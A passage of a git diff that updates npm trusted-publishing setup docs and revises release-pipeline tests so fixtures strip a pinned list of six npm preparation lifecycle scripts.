- |---|---| - | `next` and `latest`, both on the pre-release | Resolves to the bootstrap pre-release | - | `next` alone | Fails; `@next` is the install line | - - The stable publish job handles both: it yields only to a newer release, so the first release takes `latest` from the pre-release or creates it. - -2. On npmjs.com, on the package's settings page, add a trusted publisher: GitHub Actions, owner `Vivswan`, repository `github-settings-as-code`, workflow filename `ci.yml` (the caller of both hooks), no environment. -3. Under publishing access, choose "Require two-factor authentication and disallow tokens", so the workflow's OIDC identity is the only thing that can publish. - -Until step 2 is done, the release hook's `publish-npm` job fails and the GitHub release stays a draft, and `publish-next` fails the same way on the next green push; re-run the failed jobs once the publisher exists. +Until step 3 is done, the release hook's `publish-npm` job fails and the GitHub release stays a draft, and `publish-next` fails the same way on the next green push; re-run the failed jobs once the publisher exists. diff --git a/test/scripts/release-pipeline.test.ts b/test/scripts/release-pipeline.test.ts index 3ed544d2a..68f87ce35 100644 --- a/test/scripts/release-pipeline.test.ts +++ b/test/scripts/release-pipeline.test.ts @@ -25,6 +25,7 @@ import { nextPublishVerdict, npmVerdict, type Packument, + PREPARATION_SCRIPTS, type PublishVerdict, packageRelease, prereleaseVersion, @@ -154,13 +155,12 @@ function stageBuild(cwd: string): void { git(cwd, "add", "-f", "--", "lib/index.js", "lib/pkg"); } -/** The fixture's package.json as the real one is shaped: preparation scripts (prepare, build) beside one that is not. */ +/** The fixture's package.json: one of each script pacote takes as a preparation trigger, beside one that is not. */ function manifestJson(version: string, scripts: Record = FIXTURE_SCRIPTS): string { return `${JSON.stringify({ name: "@scope/pkg", version, scripts }, null, 2)}\n`; } const FIXTURE_SCRIPTS = { - prepare: "lefthook install || true", - build: "bun run build:lib", + ...Object.fromEntries(PREPARATION_SCRIPTS.map((name) => [name, `echo ${name}`])), test: "bun test", }; /** FIXTURE_SCRIPTS after the pipeline's strip: the preparation scripts gone, the rest kept. */ @@ -171,15 +171,16 @@ function stripPrepare(cwd: string): void { const pkg = JSON.parse(readFileSync(join(cwd, "package.json"), "utf8")) as { scripts?: Record; }; - delete pkg.scripts?.prepare; - delete pkg.scripts?.build; + for (const name of PREPARATION_SCRIPTS) { + delete pkg.scripts?.[name]; + } write(cwd, "package.json", `${JSON.stringify(pkg, null, 2)}\n`); git(cwd, "add", "package.json"); } -/** Whether planted files include the library build, which only commits minted after the prepare strip carry; a - * planted package.json says what the manifest is instead. */ -function carriesLibrary(files: Record): boolean { +/** Whether a planter should strip the manifest as the pipeline does: the files include the library build (only + * commits minted after the strip carry it) and no explicit package.json says what the manifest is instead. */ +function shouldStripManifest(files: Record): boolean { return ( Object.keys(files).some((file) => file.startsWith("lib/pkg/")) && !("package.json" in files) ); @@ -746,7 +747,7 @@ describe("packageRelease", () => { write(planter, file, content); git(planter, "add", "-f", file); } - if (carriesLibrary(files)) { + if (shouldStripManifest(files)) { stripPrepare(planter); } git(planter, "commit", "--quiet", "--allow-empty", ...message.flatMap((m) => ["-m", m])); @@ -1957,7 +1958,7 @@ describe("advanceBuild", () => { } git(planter, "add", "-f", file); } - if (carriesLibrary(files)) { + if (shouldStripManifest(files)) { stripPrepare(planter); } const paragraphs = message.flatMap((paragraph) => ["-m", paragraph]); @@ -2246,6 +2247,19 @@ describe("advanceBuild", () => { expect(remoteRef(fx, "refs/tags/latest")).toBe(latestBefore); }); + test("the preparation triggers are the six pacote reads before it prepares a git dependency", () => { + // Pinned as a literal: the fixture derives from the exported list, so a name dropped there would vanish + // from the fixture too and the manifest test below could not see it go. + expect(PREPARATION_SCRIPTS).toEqual([ + "prepare", + "prepack", + "build", + "preinstall", + "install", + "postinstall", + ]); + }); + test("a chain commit's package.json is the source's without its preparation scripts, and a rerun holds it there", () => { const fx = seedFixture(); const tip = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha;